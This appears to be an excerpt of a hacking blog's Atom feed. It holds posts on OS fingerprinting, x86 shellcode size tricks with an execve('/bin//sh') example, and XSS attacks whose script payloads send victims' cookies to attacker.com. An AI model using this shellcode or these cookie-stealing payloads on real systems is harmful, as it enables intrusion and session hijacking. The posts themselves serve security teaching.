Path&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;No&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;No&lt;br /&gt;
Last Mod|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Yes&lt;br /&gt;
&lt;br /&gt;
(One note about this: I was confronted with a problem with this method by Mike Eddington of Leviathan Security, who pointed out the possibility that a thumbs.db file could be uploaded to a webserver along with the corresponding images. After some thought, I realized that you could check the last modified date of the thumbs.db file as sent by the web server and the last modified date as recorded in the file. If they match, it was updated by the server itself!)&lt;br /&gt;
&lt;br /&gt;
Example 5 - IIS [4]&lt;br /&gt;
===============&lt;br /&gt;
This one&#39;s pretty simple. IIS versions correspond to specific versions of Windows. Enumerate the IIS version, and you get the OS version.&lt;br /&gt;
&lt;br /&gt;
IIS version&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;OS version&lt;br /&gt;
----------------+------------------&lt;br /&gt;
1.0&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;NT 3.51 SP3&lt;br /&gt;
2.0&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;NT 4.0&lt;br /&gt;
3.0&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;NT 4.0 SP3&lt;br /&gt;
4.0&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;NT 4.0 SP3&lt;br /&gt;
5.0&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Win2k&lt;br /&gt;
5.1&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;XP Pro&lt;br /&gt;
6.0&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Server 2003&lt;br /&gt;
7.0&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;|&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;Vista, Server 2008&lt;br /&gt;
&lt;br /&gt;
(I haven&#39;t figured out ways to determine between IIS versions, although exploit chronology and feature support would likely be good candidates, and the version of IIS being reported should give a good indication. I suspect, however, that it should be easy for an admin to spoof.)&lt;br /&gt;
&lt;br /&gt;
Example 6 - default FTP daemons&lt;br /&gt;
===============================&lt;br /&gt;
Run the raw ftp commands “rnfr .” and then “rnto .” against a default FTP daemon on a writable directory. It will generally spit back &quot;350 File exists, ready for destination name&quot; followed by a message about what happened with the operation…&lt;br /&gt;
&lt;br /&gt;
OpenBSD 4.0&lt;br /&gt;
550 rename: Is a directory.&lt;br /&gt;
&lt;br /&gt;
FreeBSD 7.0&lt;br /&gt;
250 RNTO command successful&lt;br /&gt;
&lt;br /&gt;
OpenSolaris 2008.05&lt;br /&gt;
550 rename: Invalid argument.&lt;br /&gt;
&lt;br /&gt;
Ubuntu 8.04 server&lt;br /&gt;
550 rename: Device or resource busy.&lt;br /&gt;
&lt;br /&gt;
More quick examples&lt;br /&gt;
===================&lt;br /&gt;
Win32 Apache doesn’t like colons in urls, other OSes don&#39;t care so much&lt;br /&gt;
Win32 Apache will accept, for example, /BLAHBL~1.HTM as a valid replacement for blahblahblah.html where it will not on other OSes&lt;br /&gt;
(This one kinda sounds like security hell)&lt;br /&gt;
&lt;br /&gt;
Other (less useful) signatures&lt;br /&gt;
==============================&lt;br /&gt;
The presence of $MFT in the root of a volume suggests an NTFS volume&lt;br /&gt;
Accessing a directory as a file will work on BSD systems&lt;br /&gt;
-FreeBSD and NetBSD will spit back binary data&lt;br /&gt;
-OpenBSD will return nothing but won’t complain&lt;br /&gt;
Windows can only use one audio input source at a time&lt;br /&gt;
&lt;br /&gt;
(I came up with these too and wanted to include them for completeness, but they&#39;re so case-specific that I didn&#39;t want to give them too much time.)&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;If you&#39;d like to find some signatures yourself, try grepping for #ifdef and #ifndef in the sources of any given application (if you have sources and they&#39;re C). &quot;Linux&quot;, &quot;BSD&quot;, &quot;MacOS&quot;, etc are also nice candidates. Additionally, the basis for many of the examples I&#39;ve given here should apply to many different applications which do similar operations or make similar system calls. Requesting nul from any application that serves or queries for files should quickly identify a Windows system.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;In conclusion, application-level OS fingerprinting using multi-platform applications is possible and plausible without using banner-grabbing. OS identity info leakage in applications is not well considered (I based this on the fact that I was able to find 3 leaks with the latest version of Apache in 1 hour of searching). This method is user, and can be combined with other fingerprinting methods, which is where I feel it would be most effective, though with enough signatures, this method could stand entirely on its own.&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;As for further work that can be done in this field, there are definitely timing differences in application responses that could be used for OS fingerprinting. It should also be possible to find OS-version-specific responses in platform-specific applications, much like the IIS version-to-OS version example. Also, these techniques could be coded into a tool, but I&#39;m not a great coder by any means. I hope to release some python scripts for a few of these examples shortly after the paper is released. And finally, there&#39;s more applications out there to use for fingerprinting!&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/4773289885376937702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/4773289885376937702?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4773289885376937702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/4773289885376937702'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/08/advanced-application-level-os.html' title='Advanced application-level OS fingerprinting'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-6082116191807914520</id><published>2012-08-05T07:10:00.001-07:00</published><updated>2012-08-15T05:18:28.705-07:00</updated><title type='text'>Advanced Shellcoding Techniques</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&amp;nbsp; ***********************************************&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *&lt;br /&gt;
&lt;h2 style=&quot;text-align: left;&quot;&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;* &lt;span style=&quot;color: blue;&quot;&gt;Advanced Shellcoding Techniques&lt;/span&gt; - &amp;nbsp;*&lt;/h2&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;* &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; *&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp;***********************************************&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSBoO6jNpHPkPZ0kXIIVPeT-jqXs68r5w992AY0AwuGfHOOTuw6uXA4wdgy5C2mabc9VMl1ZTSUCFfNsGbC8r4qDN_WuK3PK5RUB9Nh5EgGmveueq3lNeASRbyf5CBQvyO3eDVzqhVpuE/s1600/images.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSBoO6jNpHPkPZ0kXIIVPeT-jqXs68r5w992AY0AwuGfHOOTuw6uXA4wdgy5C2mabc9VMl1ZTSUCFfNsGbC8r4qDN_WuK3PK5RUB9Nh5EgGmveueq3lNeASRbyf5CBQvyO3eDVzqhVpuE/s1600/images.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Introduction&lt;br /&gt;
&lt;br /&gt;
This paper assumes a working knowledge of basic shellcoding techniques, and x86 assembly, I will not rehash these in this paper. &amp;nbsp;I hope to teach you some of the lesser known shellcoding techniques that I have picked up, which will allow you to write smaller and better shellcodes. &amp;nbsp;I do not claim to have invented any of these techniques, except for the one that uses the div instruction.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The multiplicity of mul&lt;br /&gt;
&lt;br /&gt;
This technique was originally developed by Sorbo of darkircop.net. &amp;nbsp;The mul instruction may, on the surface, seem mundane, and it&#39;s purpose obvious. &amp;nbsp;However, when faced with the difficult challenge of shrinking your shellcode, it proves to be quite useful. &amp;nbsp;First some background information on the mul instruction itself.&lt;br /&gt;
&lt;br /&gt;
mul performs an unsigned multiply of two integers. &amp;nbsp;It takes only one operand, the other is implicitly specified by the %eax register. &amp;nbsp;So, a &amp;nbsp;common mul instruction might look something like this:&lt;br /&gt;
&lt;br /&gt;
movl $0x0a,%eax&lt;br /&gt;
mul $0x0a&lt;br /&gt;
&lt;br /&gt;
This would multiply the value stored in %eax by the operand of mul, which in this case would be 10*10. &amp;nbsp;The result is then implicitly stored in EDX:EAX. &amp;nbsp;The result is stored over a span of two registers because it has the potential to be considerably larger than the previous value, possibly exceeding the capacity of a single register(this is also how floating points are stored in some cases, as an interesting sidenote).&lt;br /&gt;
&lt;br /&gt;
So, now comes the ever-important question. &amp;nbsp;How can we use these attributes to our advantage when writing shellcode? &amp;nbsp;Well, let&#39;s think for a second, the instruction takes only one operand, therefore, since it is a very common instruction, it will generate only two bytes in our final shellcode. &amp;nbsp;It multiplies whatever is passed to it by the value stored in %eax, and stores the value in both %edx and %eax, completely overwriting the contents of both registers, regardless of whether it is necessary to do so, in order to store the result of the multiplication. &amp;nbsp;Let&#39;s put on our mathematician hats for a second, and consider this, what is the only possible result of a multiplication by 0? &amp;nbsp;The answer, as you may have guessed, is 0. &amp;nbsp;I think it&#39;s about time for some example code, so here it is:&lt;br /&gt;
&lt;br /&gt;
xorl %ecx,%ecx&lt;br /&gt;
mul %ecx&lt;br /&gt;
&lt;br /&gt;
What is this shellcode doing? &amp;nbsp;Well, it 0&#39;s out the %ecx register using the xor instruction, so we now know that %ecx is 0. &amp;nbsp;Then it does a mul %ecx, which as we just learned, multiplies it&#39;s operand by the value in %eax, and then proceeds to store the result of this multiplication in EDX:EAX. &amp;nbsp;So, regardless of %eax&#39;s previous contents, %eax must now be 0. &amp;nbsp;However that&#39;s not all, %edx is 0&#39;d now too, because, even though no overflow occurs, it still overwrites the %edx register with the sign bit(left-most bit) of %eax. &amp;nbsp;Using this technique we can zero out three registers in only three bytes, whereas by any other method(that I know of) it would have taken at least six.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The div instruction&lt;br /&gt;
&lt;br /&gt;
Div is very similar to mul, in that it takes only one operand and implicitly divides the operand by the value in %eax. &amp;nbsp;Also like, mul it stores the result of the divide in %eax. &amp;nbsp;Again, we will require the mathematical side of our brains to figure out how we can take advantage of this instruction. &amp;nbsp;But first, let&#39;s think about what is normally stored in the %eax register. &amp;nbsp;The %eax register holds the return value of functions and/or syscalls. &amp;nbsp;Most syscalls that are used in shellcoding will return -1(on failure) or a positive value of some kind, only rarely will they return 0(though it does occur). &amp;nbsp;So, if we know that after a syscall is performed, %eax will have a non-zero value, and that &amp;nbsp;the instruction divl %eax will divide %eax by itself, and then store the result in %eax, we can say that executing the divl %eax instruction after a syscall will put the value 1 into %eax. &amp;nbsp;So...how is this applicable to shellcoding? Well, their is another important thing that %eax is used for, and that is to pass the specific syscall that you would like to call to int $0x80. &amp;nbsp;It just so happens that the syscall that corresponds to the value 1 is exit(). &amp;nbsp;Now for an example:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
xorl %ebx,%ebx&lt;br /&gt;
mul %ebx&lt;br /&gt;
push %edx&lt;br /&gt;
pushl &amp;nbsp; $0x3268732f&lt;br /&gt;
pushl &amp;nbsp; $0x6e69622f&lt;br /&gt;
mov %esp, %ebx&lt;br /&gt;
push %edx&lt;br /&gt;
push %ebx&lt;br /&gt;
mov %esp,%ecx&lt;br /&gt;
movb $0xb, %al &amp;nbsp;#execve() syscall, doesn&#39;t return at all unless it fails, in which case it returns -1&lt;br /&gt;
int $0x80&lt;br /&gt;
&lt;br /&gt;
divl %eax &amp;nbsp;# -1 / -1 = 1&lt;br /&gt;
int $0x80&lt;br /&gt;
&lt;br /&gt;
Now, we have a 3 byte exit function, where as before it was 5 bytes. &amp;nbsp;However, there is a catch, what if a syscall does return 0? &amp;nbsp;Well in the odd situation in which that could happen, you could do many different things, like inc %eax, dec %eax, not %eax anything that will make %eax non-zero. &amp;nbsp;Some people say that exit&#39;s are not important in shellcode, because your code gets executed regardless of whether or not it exits cleanly. &amp;nbsp;They are right too, if you really need to save 3 bytes to fit your shellcode in somewhere, the exit() isn&#39;t worth keeping. &amp;nbsp;However, when your code does finish, it will try to execute whatever was after your last instruction, which will most likely produce a SIG ILL(illegal instruction) which is a rather odd error, and will be logged by the system. &amp;nbsp;So, an exit() simply adds an extra layer of stealth to your exploit, so that even if it fails or you can&#39;t wipe all the logs, at least this part of your presence will be clear.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Unlocking the power of leal&lt;br /&gt;
&lt;br /&gt;
The leal instruction is an often neglected instruction in shellcode, even though it is quite useful. &amp;nbsp;Consider this short piece of shellcode.&lt;br /&gt;
&lt;br /&gt;
xorl %ecx,%ecx&lt;br /&gt;
leal 0x10(%ecx),%eax&lt;br /&gt;
&lt;br /&gt;
This will load the value 17 into eax, and clear all of the extraneous bits of eax. &amp;nbsp;This occurs because the leal instruction loads a variable of the type long into it&#39;s desitination operand. &amp;nbsp;In it&#39;s normal usage, this would load the address of a variable into a register, thus creating a pointer of sorts. &amp;nbsp;However, since ecx is 0&#39;d and 0+17=17, we load the value 17 into eax instead of any kind of actual address. &amp;nbsp;In a normal shellcode we would do something like this, to accomplish the same thing:&lt;br /&gt;
&lt;br /&gt;
xorl %eax,%eax&lt;br /&gt;
movb $0x10,%eax&lt;br /&gt;
&lt;br /&gt;
I can hear you saying, but that shellcode is a byte shorter than the leal one, and you&#39;re quite right. &amp;nbsp;However, in a real shellcode you may already have to 0 out a register like ecx(or any other register), so the xorl instruction in the leal shellcode isn&#39;t counted. &amp;nbsp;Here&#39;s an example:&lt;br /&gt;
&lt;br /&gt;
xorl &amp;nbsp; &amp;nbsp;%eax,%eax&lt;br /&gt;
xorl &amp;nbsp; &amp;nbsp;%ebx,%ebx&lt;br /&gt;
movb &amp;nbsp; &amp;nbsp;$0x17,%al&lt;br /&gt;
int &amp;nbsp; &amp;nbsp;$0x80&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;
xorl %ebx,%ebx&lt;br /&gt;
leal 0x17(%ebx),%al&lt;br /&gt;
int $0x80&lt;br /&gt;
&lt;br /&gt;
Both of these shellcodes call setuid(0), but one does it in 7 bytes while the other does it in 8. &amp;nbsp;Again, I hear you saying but that&#39;s only one byte it doesn&#39;t make that much of a difference, and you&#39;re right, here it doesn&#39;t make much of a difference(except for in shellcode-size pissing contests =p), but when applied to much larger shellcodes, which have many function calls and need to do things like this frequently, it can save quite a bit of space.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Conclusion&lt;br /&gt;
&lt;br /&gt;
I hope you all learned something, and will go out and apply your knowledge to create smaller and better shellcodes. &amp;nbsp;If you know who invented &amp;nbsp;the leal technique, please tell me and I will credit him/her. &lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://intohackingwithuntamed.blogspot.com/feeds/6082116191807914520/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/8981203489549642442/6082116191807914520?isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6082116191807914520'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8981203489549642442/posts/default/6082116191807914520'/><link rel='alternate' type='text/html' href='http://intohackingwithuntamed.blogspot.com/2012/08/advanced-shellcoding-techniques.html' title='Advanced Shellcoding Techniques'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSBoO6jNpHPkPZ0kXIIVPeT-jqXs68r5w992AY0AwuGfHOOTuw6uXA4wdgy5C2mabc9VMl1ZTSUCFfNsGbC8r4qDN_WuK3PK5RUB9Nh5EgGmveueq3lNeASRbyf5CBQvyO3eDVzqhVpuE/s72-c/images.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8981203489549642442.post-6209456102084731826</id><published>2012-06-20T09:15:00.001-07:00</published><updated>2012-06-20T09:17:01.494-07:00</updated><title type='text'>Advanced Cross-Site-Scripting</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;background-color: #6fa8dc;&quot;&gt;Advanced Cross-Site-Scripting with Real-time Remote Attacker Control&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3DT4iznP92q5q8F9JusrqH5oaeUDCFUw25crwWHJcXzW4Ksg1M3oy5jZeRHldmyGRCnv2pfChFtEHUNGYahrGLR4pZ3nBPbaStOutAV1US06hYJULCADxppUV2YtDNTJPFI0s2quEjjg/s1600/xss.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh3DT4iznP92q5q8F9JusrqH5oaeUDCFUw25crwWHJcXzW4Ksg1M3oy5jZeRHldmyGRCnv2pfChFtEHUNGYahrGLR4pZ3nBPbaStOutAV1US06hYJULCADxppUV2YtDNTJPFI0s2quEjjg/s320/xss.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
** Introduction **&lt;br /&gt;
Cross Site Scripting (XSS) is typically perceived as a minimal threat by many &lt;br /&gt;
developers and security professionals. There have been some good papers in the past &lt;br /&gt;
that should have woken folks up to the potential risks of XSS, but the problem is &lt;br /&gt;
still prevalent and most security folks are un-interested in the issue and its &lt;br /&gt;
ramifications. I hope to change that perception with this paper and the release of &lt;br /&gt;
a tool called XSS-Proxy that allows XSS attacks to be fully controlled by a remote &lt;br /&gt;
attacker. This paper describes current XSS attacks and introduces new methods/tool &lt;br /&gt;
for making XSS attacks interactive, bi-directional, persistent and much more evil.&lt;br /&gt;
&lt;br /&gt;
This is not a detailed XSS HowTo, but an explanation of methods for taking XSS attacks &lt;br /&gt;
much further. CGISecurity&#39;s XSS FAQ (1) is a good resource for a better overview of &lt;br /&gt;
general XSS issues. I&#39;ve also included several references (2,3,4,5) at the end of this &lt;br /&gt;
paper that are also great material on XSS and related topics. &lt;br /&gt;
&lt;br /&gt;
This is also not a discussion on solutions as there are many resources on methods for &lt;br /&gt;
finding and fixing XSS holes. The extended attacks I introduce here bypass many of &lt;br /&gt;
the XSS mitigation methods I&#39;ve seen other papers recommend (like hidden form inputs, &lt;br /&gt;
URL re-writing, POST methods, etc), as the attacker has access to the same site contents &lt;br /&gt;
(and jscript/values) as the victim. The only realistic solution is to either discard any &lt;br /&gt;
HTML and special char inputs or carefully, carefully filter to allow only certain things &lt;br /&gt;
in user input - event many sites that try to filter tags/chars can be tricked into XSS. &lt;br /&gt;
Another solution may be to partition sites into multiple document domains so it&#39;s more &lt;br /&gt;
difficult for an XSS vulnerability in one document domain to allow access to other areas &lt;br /&gt;
in the other domains. Perhaps putting site-search CGIs in one subdomain and sensitive &lt;br /&gt;
site areas in another would be useful.&lt;br /&gt;
&lt;br /&gt;
** Brief XSS Background **&lt;br /&gt;
As many here probably know, current XSS attacks typically come in two flavors: &lt;br /&gt;
1 - Attacker uploads &amp;lt;script&amp;gt; tags to a public bulliten board, blog, or other site that &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; has an XSS vulnerability and that lots of other users will visit. Attacker normally &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; harvests site cookies for later user impersonation, but form submits and other attacks &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; are sometimes utilized. This is what many folks I talk to think XSS is. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Here&#39;s an example:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Someone would post the following on evilblog.com that other users would process&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script&amp;gt;document.write(&quot;&amp;lt;img src=http://attacker.com/” + document.cookie + “&amp;gt;”)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This would try to pull an image off the attacker&#39;s server with the user&#39;s evilblog&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; cookies in the URL.&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
2 - Attacker uses a public XSS vulnerable site like above, or an XSS based email message &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; to redirect a user to a second XSS vulnerable server. The second server is the &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; attacker’s actual target and this site normally has a self-XSS issue where a user can &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; inject &amp;lt;script&amp;gt; content into a document that only that user will see. This combined &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; with the redirection from another site can allow cookie leakage, form/submit content &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; leakage, or a specific action to perform as the XSS&#39;d user against the second site. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This is well known, but I tend to see less site administrators that understand this &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; flavor of the attack. &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Here&#39;s how that would work:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; Someone would post the following on evilblog.com that other users would process:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script&amp;gt;document.location=’http://banking.com/search?name=&amp;lt;script&amp;gt;document.write(&quot;&amp;lt;img src=http://attacker.com/” + document.cookie + “&amp;gt;”)&amp;lt;/script&amp;gt;’&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; When the user is redirected to banking.com with the above XSS, this is what will be&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; returned to the user and executed:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;lt;script&amp;gt;document.write(&quot;&amp;lt;img src=http://attacker.com/” + document.cookie + “&amp;gt;”)&amp;lt;/script&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; This would try to pull an image off the attacker&#39;s server with the user&#39;s banking.com &lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; cookies in the URL.&lt;br /&gt;
&lt;br /&gt;
In the past other folks have also pointed out that more advanced site manipulation can &lt;br /&gt;
be achieved with an XSS script that opens an IFRAME (or other window-like element) and &lt;br /&gt;
loads/submits for other documents on the same site.&amp;nbsp; DOM trust will allow Javascript to &lt;br /&gt;
interact with other windows/IFRAMEs it creates, as long as the windows point to the same &lt;br /&gt;
document domain (protocol + domain_name + port).&lt;br /&gt;
&lt;br /&gt;
The current methods of XSS attacks are typically limited only a single transaction at the &lt;br /&gt;
final target site and typically result in cookie harvesting or form submission leakage.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
** Basics of XSS-Proxy / Attack **&lt;br /&gt;
I have extended the normal XSS attack and combined it with the ability to pull additional &lt;br /&gt;
Javascript commands from arbitrary remote servers (aka Javascript Remoting - see (6) for &lt;br /&gt;
details with IFRAMEs) to allow XSS to be more than just a redirect with some cookie &lt;br /&gt;
leakage.&amp;nbsp; This combination allows an attacker to establish a persistent, bi-directional &lt;br /&gt;
control/transfer channel to an XSS victim and access XSS’d sites as that victim. As long &lt;br /&gt;
as the victim is tricked into leaving the XSS window open and in the same location, we &lt;br /&gt;
have almost total control of the victim’s browser against the XSS site with the ability &lt;br /&gt;
to redirect to other XSS vulnerable sites or forward specific blind requests to other &lt;br /&gt;
servers (see (3) on performing Cross-Site-Request-Forgeries aka CSRF and (4) on Session-&lt;br /&gt;
Riding).&lt;br /&gt;
&lt;br /&gt;
This is achieved with either of the two attacks described above, but we will describe the two &lt;br /&gt;
server XSS redirect example. A victim gets an XSS vector via blog, comment board, email, etc &lt;br /&gt;
(Let’s assume our victim surfed to some public site where other users can create XSS - we’ll &lt;br /&gt;
call the site evilblog.com) and that Javascript content redirects the user to a second site (we’ll &lt;br /&gt;
